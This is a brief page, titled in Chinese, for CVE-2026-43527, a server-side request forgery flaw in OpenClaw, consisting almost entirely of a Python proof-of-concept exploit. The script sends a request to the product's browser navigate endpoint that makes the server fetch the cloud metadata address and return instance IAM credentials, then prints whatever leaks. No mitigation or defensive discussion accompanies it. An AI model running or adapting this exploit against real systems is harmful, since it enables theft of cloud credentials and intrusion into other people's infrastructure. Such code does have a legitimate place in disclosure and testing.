CVE-2026-43527 OpenClaw服务端请求伪造漏洞

import requests # Exploit Title: OpenClaw SSRF PoC (CVE-2026-43527) # Description: PoC to demonstrate internal network access via vulnerable OpenClaw browser policy target_host = "http://vulnerable-openclaw-instance.com" # Common internal metadata endpoint (e.g., AWS, GCP, Azure) # Attacker aims to retrieve cloud instance credentials ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The vulnerable endpoint that processes the URL in the browser component vulnerable_endpoint = f"{target_host}/api/v1/browser/navigate" payload = { "url": ssrf_payload, "options": { "timeout": 5000 } } try: print(f"[*] Attempting SSRF against {target_host}...") response = requests.post(vulnerable_endpoint, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check response for leaked metadata.") print("[+] Response Body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")